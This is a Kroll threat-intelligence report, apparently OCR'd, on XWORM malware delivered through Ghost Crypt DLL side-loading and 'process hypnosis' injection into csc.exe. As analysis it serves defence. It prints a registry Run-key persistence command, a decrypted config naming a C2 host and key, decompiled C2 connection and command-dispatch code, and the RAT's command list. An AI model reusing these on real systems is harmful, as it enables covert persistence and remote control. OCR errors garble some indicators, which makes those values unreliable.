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Key Findings

e A known cyber threat called XWORM is now using a sneaky new method using Ghost Crypt to infect
computers, hiding inside a seemingly harmless but fake PDF reader app.

e The attack involves a zipped archive containing a PDF reader, a DLL and a PDF file. When the user opens
the PDF, the malicious DLL is side-loaded, initiating the malware execution.

e Ghost Crypt uses a technique called Process Hypnosis to inject the final payload into csc.exe (a Visual C#

compiler), leveraging Windows APIs to stealthily execute the malware.

Starting in July 2025, Kroll has observed a new delivery method coming from the XWORM malware family.
Previously known to leverage a self-contained executable in order to drop the final payload, XWORM now uses
Ghost Crypt which is a service publicized on HackForums and used to exploit DLL side-loading vulnerabilities in
known applications. The service includes support for a range of malware families, including LUMMASTEALER,
BLUELOADER, RHADAMANTHYS, XWORM, DCRAT, PURELOADER, STEALC and others.

Ghost Crypt delivers a zipped archive to the victim containing a PDF Reader application, a DLL and a PDF file.
When the archive is extracted and the application is launched to open the PDF, it also sideloads the DLL from the

same directory. This DLL is the malicious component of the attack.

In the second stage of Ghost Crypt's execution chain, the DLL leverages the so-called "process hypnosis"
technique targeting csc.exe, a command line Visual C# compiler. The technique consists of creating a process with
the CreateProcessW API together with the DEBUG_ONLY_THIS_PROCESS flag. With the new process created,
Ghost Crypt uses the Virtual AllocEx API to allocate memory in the created process's address space, writing the
final payload in the created process with the WriteProcessMemoryAPI. Finally, the execution is resumed with the

SetThreadContextAPI, together with DebugActiveProcessStop API.

The previously mentioned PDF Reader application is HaiHaiSoft PDF Reader, which is known to have a DLL

side-loading vulnerability, previously exploited to deliver REMCQOS, NodeStealer and PureRAT.

Below is a diagram of XWORM's new delivery method:
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Figure 1: XWORM’s new delivery method

Ghost Crypt Unpacking

In this campaign, Ghost Crypt exploits a weak dependency in the file 1095-A_PDF.exe, which is a renamed
version of hpreader.exe, the legitimate HaiHaiSoft PDF Reader. Once this executable is run, it eventually loads the

oledlg.dll from within the same directory it was executed.

Time of Day Process Name PID Opesation Path Resut Detai
516077634424 AM 310954 PDFexe 9348 fFCreateFle  C:Users\arcana\Deskiop \1095-A_PDF oledigdl SUCCESS Desved Access: Read Attioutes, Depostion: Open, Options: Open Reparoe Por, .
516077034604 AM 3 1095-A PDF exe 9348 () GueryBasichéor..C:\lsers\arcana\Deskiop \1095-A_PDF \cledig dl SUCCESS CreationTime: 7/18/2025-10:53.06 AM, LastAcoess Time: 7/24/2025 51557 AM. L
51607704674 AM 310954 PDF exe 9948 fruCloseFie C:\Users\arcana)\Desktop\1035-A_PDF'oledg SUCCESS
516077035469 AM 3 1095A POF exe 5348 (FCreateFle  C:\Users\arcana\Deskiop\1095-A_PDF\cledig dl SUCCESS Desired Access: Read Dta/List Directory, ExecutesTraverse, Synchronize, Disposi.
516077835706 AM 5 10954 PDF exe 9948 (7 CreateFieMapp...C:\Users\arcana\ Desktop\1095-A_PDF\aledio ol FILE LOCKED WITHONLY ... SyncType: Sync TypeCreate Section. Page retecton: PAGE_EXECUTE_READWRI
5.16.07.7335661 AM_2 1095-A_ POF exe 9348 (5 CreateFleMapp...C:\Users\arcana\Deskiop\1095-A_PDF\oledigdl SUCCESS SymeType: SyncTypeOther
51607 7036468 AM_ 10954 POF exe 5543 3load Image  Cr\Users 10954 POFoiedq ol SUCCESS image Base" (10000000 image Sze: B1706000
516077838375 AM 10954 POF exe 9348 (7 CreateFle  C:\Users\arcana\Deskiop \1095-A_PDF\oledg dl SUCCESS Deseed Acoess: Generc Read, Dispostion: Open, Options: Synchroncus 10 Non A
516077844008 AM 3 10954 PDF exe 9948 (7 CloseFle C:\Users\arcans \Desktop\1095-A_PDFciedg 8 SUCCESS
516077845362 AM 3 1095A PDF exe  $848 (7 /CloseFle C:\Users\arcana\Deskiop\1095-A_PDF cledig di SUCCESS
51607705374 AM 3 1095A PDF exe 5348 (CresteFle  C:\lsers\arcana\Deskiop\1095-A_PDF\cledg dl SUCCESS Desired Access: Read Cortrol, Disposion: Open, Options: , Afisbutes: /s, ShareM.
51607705656 AM 5 1095-A PDF exe 9948 () QuerySecurtyFile C:\Users \arcana\Desktep \1095-A_PDF \cledig i BUFFER OVERFLOW nformation: Onner
516077905343 AM 3 1095-A PDF exe 5548 (i5)QuerySecurtyFle C:\Users\arcana\Deskiop\1095-A_PDF cledig dl SUCCESS Iformation: Ovner
516077306027 AM 510954 PDF exe 9348 ffCloseFie C:\Users\arcans)\Desktop\1035-A_PDF'cledig il SUCCESS
516216925500 AM 3 1095A PDF exe 5348 (FCresteFle  C:\Users\arcana\Deskiop\1035-A_PDF\cledig dl SUCCESS Desired Access;: Generic Read, Dispostion: Open, Options: Synchronous 10 NonAl
516216925863 AM 5 10954 PDF exe 9948 () QueryStandardl.. C:\Users\arcana\ Desktop\1095-A_PDF\aledig ol SUCCESS MiocationSize: 24,100,864, EndOfFie: 24,097,792, NumberOfLinks: 1. Delete Pendi
5162163435 AM 310954 POF exe 5348 (7 ReadFile C:\Users\arcana\Deskiop\1095-4_POF cledg di SUCCESS O 0. Length: 24,057.792, Priorty: Nomnal
516230013743 AM 10954 PDF exe 5343 fCloseFie C:Users\arcana\Desktop\1095-4_PDFaledi. dl SUCCESS

Figure 2: IHaiHaiSoft PDF Reader side-loading oledlg.dll (Ghost Crypt)

The DLL, being Ghost Crypt, is responsible for applying the "process hypnosis" technique targeting csc.exe. To
retrieve the dropped payload, we can inspect the process tree of 1095-A_PDF.exe, which has csc.exe alongside

cmd.exe, Conhost.exe, and reg.exe.

5 2 10954 POF.exe (5343)  [Hahaisot PDF Reader C\Users\arcans\Deskiop... | Hahaisclt Umted  DESKTOP-40GG... "C'\Users\arcana\Desktop\1095-A_PDF\1095-A_PDF exe”
W csceexe (8116) [Visual C# Command Line Compler  C:\Windows\Microsoft NE.... ] Vi<oscé: Comarat... DESKTOP0GG... °C: 0. 3
£ 5§ omd exe (4600) Windows Command Processor C:\Windows\SysWOWEA.. | Microsoft Coporat... DESKTOP40GG... cmd exe /C reg add "HKCUNSOFTY " e 3" A REG_SZ /d "rundi32 exe \"C:\Users\arcana\Documents\Sensor57380 dI\". EntryPont™ £ 8 ext
E¥Conhostexe (3632 Console Window Host C:\Windows\System32:Co... Mcrosolt Coporat... DESKTOP<0GG... \?7\C:\Windows\system32\conhost exe (i -ForceV1
W regexe (3336) |Regisry Console Tool CiWWindows\SysWOWE4\. | Mcrosoft Coporat... DESKTOP40GG... reg add "HKCU\SOFT " G " A REG_SZ /d "mundi 32.exe \"C:\Users\arcana\Documents \Sensor57380.0I\" EntryPoint™ /f

Figure 3: HaiHaiSoft PDF Reader process tree

It is also noted how persistence is achieved by Ghost Crypt. First, the contents of oledlg.dll are copied to the file
Sensor57380.dll, then the DLL's entry point is set as a "run" registry key by the following command:
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cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CriticalUpdater3" /t
REG_SZ /d "rundll32.exe \"C:\Users\arcana\Documents\Sensor57380.dII\",EntryPoint" /f & exit

Opening csc.exe's memory, you can see an unusual RWX memory at the address 0xd30000, of size 56kb.

Exploring the hex dump for this range of memory unveils a MZ Header together with the PE Headers.

[ esc.exe | @

[ Runtimel

[ Securityk  General Stafistics Performance Threads Token Modules Memory Environment Handles .NET assemblies .NETperformance GPU  Disk  Network Comment Windows

[ dilhost.ef
@ Securityhk
[ Applicati
[ svchost.e
‘r explorer
[ svchost.e

[ svchost.e
[ svchost.e
&) Microsof;
¥ Procmon
[ taskhosty
[ svchost.e
[ Securityk
[ svchost.e
[ svchost.e
[ svehost.e
(&3] sihost.ex|
[ svchost.e
[ svchost.e
& Searchint
[ svchost.e
[ svchost.e

Refresh Search Memory (Ctrl+K) Aa J* O]
Type Size Protect... | @) csc.exe (8116) (Oxd30000 - Oxd3000) - o X &
Mapped 64k8 RW
> 0xcB0000 Private 64k8 RW 00000000 Bd sa 90 00 03 00 00 00 04 00 00 00 ££ ££ 00 ~
> 0xc30000 Private 64k8 RW 00000010 b€ 00 00 00 00 00 00 00 40 00 00 00 00 00 00
> 0xcad000 Mapped 116k8 R 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> OxGo0000 Private 255k RW 00000030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00
00000040 Oe 1f ba Oe 00 b4 09 cd 21 b8 01 4c cd 21 54
? 0xd00000 Mapped sk R 00000050 69 73 20 70 72 €£ 67 72 61 6d 20 €3 61 €& e 6f is program canno
> 0xd10000 Mapped 418 R 00000060 74 20 62 €5 20 72 75 €& 20 €9 e 20 44 4£ 53 20 t be run in DOS
» 0xd20000 Private 8k8 RW 00000070 €d €f €4 €5 2e 0d 0d 0a 24 00 00 00 00 00 00 .
v 0xd30000 Private S6kB R 00000080 S0 45 00 00 4c 01 03 00 70 7a 48 €8 00 00 00
0xd30000 Private: Commit S6kB RWX 00000090 00 00 00 00 &0 00 02 01 Ob OL Ob 00 00 78 00
> 0xd40000 Private ssk8 RW 00000020 00 08 00 00 00 00 00 00 7e 97 00 00 00 20 00
v 0xdS0000 Mapped 46 R 00000060 00 a0 00 00 00 00 d3 00 00 20 00 00 00 02 00
050000 : Com. 58 R 000000c0 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00
vo pm‘?":;d e RW 000000d0 00 &0 00 00 00 02 00 00 00 00 00 00 02 00 40
60000 000000e0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00
0xd60000 Private: Commit 600k8 RW 000000£0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
7 0xe60000 Mapped 4k8 R 00000100 28 97 00 00 53 00 00 00 00 a0 00 00 £0 04 00
> 0xe70000 Mapped 4k R 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 0xe80000 Mapped 3268 R 00000120 00 c0 00 00 Oc 00 00 00 00 00 00 00 00 00 00
5 0%eS0000 Mapped 48 RW 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> Oxea0000 " s4lE RW 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
o Private o418 RW 00000150 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00
<=b0000 " 00000160 00 00 00 00 00 00 00 00 0% 20 00 00 48 00 00
? Oxec0000 Private 6418 RW 00000170 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00
» Oxed0000 Image 2.07M8  WCX 00000180 84 77 00 00 00 20 00 00 00 78 00 00 00 02 00
» 0x10f0000 Mapped 64MB NA 00000190 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 v
Re-read Write Go to... 16 bytes per row v
Close

Figure 4: In-memory XWORM variant

XWORM Technical Analysis

XWORM is known to be a plugin-based Remote Access Tool (RAT) with capabilities that range from info stealing

to ransomware. Each plugin being a different class in the decompiled view of the binary.

The first procedure XWORM employs is to decrypt its own configuration using the AES-128 algorithm in ECB

Mode. The key generation is done through computing the MD5 Hash of the bytes of the hard-coded mutex name.

An example key, for the hard-coded mutex "zLFANWhVIr2DD3Ht", would be

7644e1414b0cc46eb9fdeaea2aB86c97644e1414b0cc46eb9f4eaea2a86c92700

Below is the decrypted config for this sample:
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JSON

"Mutex": "zLFUNWhVIr2DD3Ht",
"Host": "154.38.1860.2",
"Port": "3000",
"KEY": "Hunter1980212@",
"SPL": "<Xwormmm>",
"Groub": "CPA",
"USBNM": "USB.exe",
"UserAgents": [
"Mozilla/5.0 (Windows NT 6.1; Win64; x6U; rv:66.0) Gecko/20160101 Firefox/66.0",
"Mozilla/5.0 (iPhone; CPU iPhone 0S 11_4_1 like Mac 0S X) AppleWebKit/665.1.15 (KHTML, like Gecko)
Version/11.0 Mobile/15E148 Safari/664.1",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113
Safari/537.36"
]
}

Figure 5: Decrypted XWORM config

After decrypting its own configuration, XWORM proceeds to check whether the victim is already infected with
itself. This is done via the creation of the mutex zZLFANWhVIr2DD3Ht. If this mutex is already existent in the

system, the program terminates.
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if (!Helper.CreateMutex())

Environment.Exit(0);

}

Helper.PreventSleep();
Thread thread = new Thread([SpecialName] [DebuggerStepThrough] () =>

Helper.LastAct();
1)

Thread thread2 = new Thread([SpecialName] () =>

while (true)

s Thread.Sleep(new Random().Next(3@ee, 1eeee));
if (!ClientSocket.isConnected)
{ . - -
|ClientSocket.BeginConnect(); ’
} l
ClientSocket.allfone.WaitOne();
}

E
thread.Start();
thread2.Start();
thread2.Join();

{

public static void BeginConnect()

try
{

string text = Settings.Hosts.Spljt(',")[new Random().Next(Settings.Hosts.Split(',").Length)];
if (Helper.IsValidDomainName(texf))

IPAddress[] hostAddresses = Pns.GetHostAddresses(text);
IPAddress[] array = hostAddrgsses;
foreach (IPAddress iPAddressfin array)
{
try
{

¢
IConnectServer(iPAddress.ToString());I
1t j(1sConnected)

{
}

break;

{

try

public static object ConnT:tServer(string H)

1
S = new Socket(AddgressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
BufferlLength = -1
Buffer = new byte[L];
MS = new MemoryStrpam();
S.ReceiveBufferSize = 51200;
S.SendBufferSize 5 51200;
S.Connect(H, Conversions.ToInteger(Settings.Port));
Settings.Host = Hj
isConnected = tru
= i Value(new object());
Send(Conversions.ToString(Info()));
ActivatePong = talse;
S.BeginReceive(Buffer, @, Buffer.Length, SocketFlags.None, BeginReceive, null);
TimerCallback callback = [SpecialName] [DebuggerStepThrough] (object a@) =>
. Ping();
Tick = new Timer(callback, null, new Random().Next(l@eee, 15ee@), new Random().Next(leeee, 15eee));
Speed = new Timer(Pong, null, 1, 1);
1
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Figure 6: Mutex check

If it does not exist in the system, it proceeds to connect to the value of the host key via TCP to the server and send
the return of the Info() procedure via the send method. The Info() procedure sends the following data to the TA's

C2 server.

INFO

<Xwormmm>

27163A4096. . .ECE294A # Victim's ID
<Xwormmm>

User # User Name

<Xwormmm>

Microsoft

[Service Pack]

6u4bit # 32 or 64 bit system?
<Xwormmm>

CPA

<Xwormmm>

21/07/2025

<Xwormmm>

False # Is file name "USB.exe"?
<Xwormmm>

False # Is Admin?

<Xwormmm>

False # Has Webcam?
<Xwormmm>

AMD # CPU

<Xwormmm>

[RAM] # RAM's size

<Xwormmm>

[AV List] # List of Antivirus products from Select * from AntivirusProduct

Figure 7: Example of the information sent to the operator

After sending this information, XWORM will call the BeginReceive method to receive new instructions from the
malware's operator. XWORM will also register a callback to ping the C2 server from time to time. The ping data

is the following:
PING! <Xwormmm> [Active Window Title] <Xwormmm> [Uptime]

The BeginReceive will eventually call the BeginRead method, which will eventually call the Read method. The

Read method is responsible for dispatching the routines related to the C2's commands.
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BeginReceive(lAsyncResult) : void

object instance = new Thread([SpecialName] [DebuggerStepThrough] (object a@) =>

| Beginread((byte[])a0);|
i3 H

public static void BeginRead(byte[] b)
=/
try
|Messages.Read(b); |
catch (Exceptioh ex)
1
ProjectDatal SetProjectError(ex);
Exception ek2 = ex;
ProjectDatal ClearProjectError();
¥
}

public static void Read(byte[] b)
-
try
{

string[] array = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Settings.SPL);

switch (array[e])

1

case “pong":
ClientSocket.ActivatePong = false;
ClientSocket.Send("pong" + Settings.SPL + Conversions.ToString(ClientSocket.Interval));
ClientSocket.Interval = @;
break;

case "rec":
Helper.CloseMutex();
Application.Restart();
Environment.Exit(®@);
break;

case "CLOSE":
ClientSocket.S.Shutdown(SocketShutdown.Both);
ClientSocket.S.Close();
Environment.Exit(@);
break;

case "uninstall”:
Uninstaller.UNS(IsUpdate: false, null, null);
break;

case "update":
Uninstaller.UNS(IsUpdate: true, array[l], Helper.Decompress(Convert.FromBase64String(array[2])));
break;

case "DW":
RunDisk(array[1], Helper.Decompress(Convert.FromBase64String(array[2])));
break;

case "FM":
Memory(Helper.Decompress(Convert.FromBase64String(array[1])));

break;
case "LN":
{

try

{

ServicePointManager.Expectl1@@Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
ServicePointManager.DefaultConnectionLimit = 9999;

Figure 8: XWORM command dispatch routine

The command dispatch routine is severely control-dependent on a state variable. Being retrieved by the decryption

of the operator's command, and then separated from the <Xwormmm> string, the resulting string is then used as
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condition for the switch-case expression.

Below is a table of all commands available, and their meaning:

Command Description

pong Send a "pong " message

rec Closes the mutex and restart the malware

CLOSE Shutdowns the connection

uninstall Uninstalls the malware

update Moves the current application's content to a random-named file within % TEMP%

Starts either a powershell script with powershell.exe -ExecutionPolicy Bypass -File, or

DW
creates a process for a file in disk
FM Loads an in-memory assembly, and runs it
LN Downloads and executes an arbitrary file
Urlopen Starts a process from an URL
Urlhide Retrieves an executable via the HTTP GET method, and executes it
PCShutdown Executes shutdown.exe /f /s /t 0
PCRestart Executes shutdown.exe /f /r /t 0
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Command Description

PCLogoff Executes shutdown.exe -L

RunShell Runs an arbitrary command in a shell

StartDDos Infinitely creates threads, each one sending infinite HTTP requests
StopDDos Aborts the StartDDos method

StartReport Retrieves a list of active processes

StopReport Aborts the StartReport method

Xchat Send the string "Xchat " to the C2

Hosts Opens \\drivers\\etc\\hosts and sends the content to the C2

Shosts Modifies the \hosts file

Send the string "DDos" to the C2, most likely to initiate an external DDos targeting the

DDos o

victim
plugin Send the string "sendPlugin" to the C2, calling Decompress with the response
savePlugin Decompress the received Plugin and write it to the victim's registry

RemovePlugins  RemovePlugins
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Command Description
OfflineGet SendError("ERROR + "OfflineKeylogger Not Enabled");
$Cap Screenshot's victim's screen

Source: https://www.kroll.com/en/publications/cyber/xworm-returns-haunt-systems-ghost-crypt
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